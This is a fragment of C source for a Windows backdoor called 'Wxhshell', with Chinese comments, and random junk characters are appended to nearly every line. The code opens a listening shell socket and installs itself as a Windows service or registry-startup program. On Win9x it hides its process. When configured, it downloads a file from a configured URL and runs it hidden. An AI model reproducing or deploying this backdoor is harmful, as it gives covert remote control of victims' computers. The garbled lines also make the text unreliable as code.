PROCNTQSIP NtQueryInformationProcess; PuT@}tw
zN@}
#Hk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Kal"Ew
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0F|AA"mMT
!~&R"2/
HANDLE hProcess; .5,(_p^
PROCESS_BASIC_INFORMATION pbi; 4V==7p
x(
"a"]o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qI<mjB{3`
if(NULL == hInst ) return 0; #=f?0UTA
H{k^S\K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *
%M3PTY\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (?{MEwHG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xp72>*_9&
kg3EY<4i
if (!NtQueryInformationProcess) return 0; ); dT_
y_IM@)1H~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yo)%J
if(!hProcess) return 0; R_7 d@FQ1
\":m!K;Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &8_gRP
q+]h=:5=I
CloseHandle(hProcess); z3M6V}s4
w1"nffhO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8C~]yd
if(hProcess==NULL) return 0; xA$nsZ]
l0cA6b
HMODULE hMod; rZ^v?4Z\
char procName[255]; I_rO!
unsigned long cbNeeded; YY!6/5*/]
\y)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S9`flo
uVDa^+=
CloseHandle(hProcess); Pgus42f%
O1*NzY0Y%-
if(strstr(procName,"services")) return 1; // 以服务启动 Kt|1&Gk
/_Z652@
return 0; // 注册表启动 K7Wk6Aw
} G\r?f&
iN0nw]_*
// 主模块 :!b'Vk
int StartWxhshell(LPSTR lpCmdLine) 5<j%EQN|D
{ LLXVNO@e+
SOCKET wsl; P2'DD 3
BOOL val=TRUE; ,gOOiB
}
int port=0; sWblFvHqrU
struct sockaddr_in door; @kU@N?5e
bk^TFE1l
if(wscfg.ws_autoins) Install(); I=9!Rs(QF
+d!v}aJ
port=atoi(lpCmdLine); B0WJ/)rK<
ez!C?
if(port<=0) port=wscfg.ws_port; mAW,?h
'n$%Ls}S
WSADATA data; z;wELz1L{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e=;AfK
Y +\%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yK2^Y]Ku?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '@CR\5 @
door.sin_family = AF_INET; 7C2&NyWJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); CL}{mEr}
door.sin_port = htons(port); (B-43!C
i'wAE:Xe
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g9WGkHF
closesocket(wsl); YH_7=0EJ
return 1; -!L"')
} &F5@6nJ`
m[@Vf9
if(listen(wsl,2) == INVALID_SOCKET) { adi[-L#
closesocket(wsl); 9>rPe1iv
return 1; FEW_bP/4
} z2hc.29t
Wxhshell(wsl);
\$OF1i@
WSACleanup(); @b~fIW_3>
3LTcEd
return 0; n`
TSu$
?zJOh^
} 0,Y5KE{
S&Ee,((E(
// 以NT服务方式启动 d)R352
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /?1nHBYPM
{ dwv 6;x
DWORD status = 0; Cssl{B
DWORD specificError = 0xfffffff; 4[-*~C|W5
p6XtTx
serviceStatus.dwServiceType = SERVICE_WIN32; fb:j%1WF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /q$,'^.A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (?! ,p^
serviceStatus.dwWin32ExitCode = 0; "a/ Q%.P
serviceStatus.dwServiceSpecificExitCode = 0; C2w2252T
serviceStatus.dwCheckPoint = 0; 5W@jfh)
serviceStatus.dwWaitHint = 0; v[n7"
D.6,VY H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wL^%w9q-
if (hServiceStatusHandle==0) return; l-$uHHyu*
hy T1xa
status = GetLastError(); k8uvNLA)a
if (status!=NO_ERROR) W|,V50K
{ 5pRV3K{H
serviceStatus.dwCurrentState = SERVICE_STOPPED; j]m|7]
serviceStatus.dwCheckPoint = 0; ed_FiQd
serviceStatus.dwWaitHint = 0; TSsKfexQ
serviceStatus.dwWin32ExitCode = status; mTEx,
serviceStatus.dwServiceSpecificExitCode = specificError; .pvV1JA'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RTu4@7XP
return; wgRsZ
} T}=>C+3r
awUx=%ERtA
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4~OQhiJ
serviceStatus.dwCheckPoint = 0; BMIyskl=i
serviceStatus.dwWaitHint = 0; @IP)S[^' t
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nbTVU+
} HH>:g(bu
.+([
// 处理NT服务事件,比如:启动、停止 ^+9sG$T_EV
VOID WINAPI NTServiceHandler(DWORD fdwControl) `H3.,]
{ iIGbHn,/
switch(fdwControl) d@3}U6,
{ ]}6w#)]"
case SERVICE_CONTROL_STOP: 08m;{+|vY
serviceStatus.dwWin32ExitCode = 0; s{4 \xAS>
serviceStatus.dwCurrentState = SERVICE_STOPPED; :aIN9;
serviceStatus.dwCheckPoint = 0; %D`,k*X
serviceStatus.dwWaitHint = 0; \rV
B5|D?
{ <(e8sNe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |J~eLh[d
} CCGV~e+
return; ACK1@eF
case SERVICE_CONTROL_PAUSE: }V|{lvt.
serviceStatus.dwCurrentState = SERVICE_PAUSED; sW^a`VM
break; a3>zoN
case SERVICE_CONTROL_CONTINUE: GBC*>Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; N=)z
break; io3yLIy,
case SERVICE_CONTROL_INTERROGATE: *+b6B_u]
break; $8BE[u|H2
}; 2qO3XI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {3Vk p5%l
} U\?g*
w_iam qe,
// 标准应用程序主函数 CC3v%^81l^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l#wdpD a{
{ h
!(>7/Gi
zK+52jhi
// 获取操作系统版本 OW(&s,|6x
OsIsNt=GetOsVer(); <[/%{sUNC
GetModuleFileName(NULL,ExeFile,MAX_PATH); ozr9>b>M
2`=6 %s
// 从命令行安装 sF+=KH
if(strpbrk(lpCmdLine,"iI")) Install(); #DkD!dW(l
;bX4(CMe
&
// 下载执行文件 H2-28XGc
if(wscfg.ws_downexe) { oAZh~~tp
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) te4= S
WinExec(wscfg.ws_filenam,SW_HIDE); VRW]a
} AP\ofLmq
HZ*0QgW\(5
if(!OsIsNt) { vG2b:[W
// 如果时win9x,隐藏进程并且设置为注册表启动 <39!G7ny
HideProc(); =BZ?- mIU
StartWxhshell(lpCmdLine); (HN4g;{
} k,Zm GllQ]
else p'{xoV
if(StartFromService()) })IO#,
// 以服务方式启动 K$REZe
StartServiceCtrlDispatcher(DispatchTable); ?&l)W~S
else b]]N{: I
// 普通方式启动 u; TvS
|
StartWxhshell(lpCmdLine); WIh@y2&R
p11G#.0
return 0; i3
)xX@3
}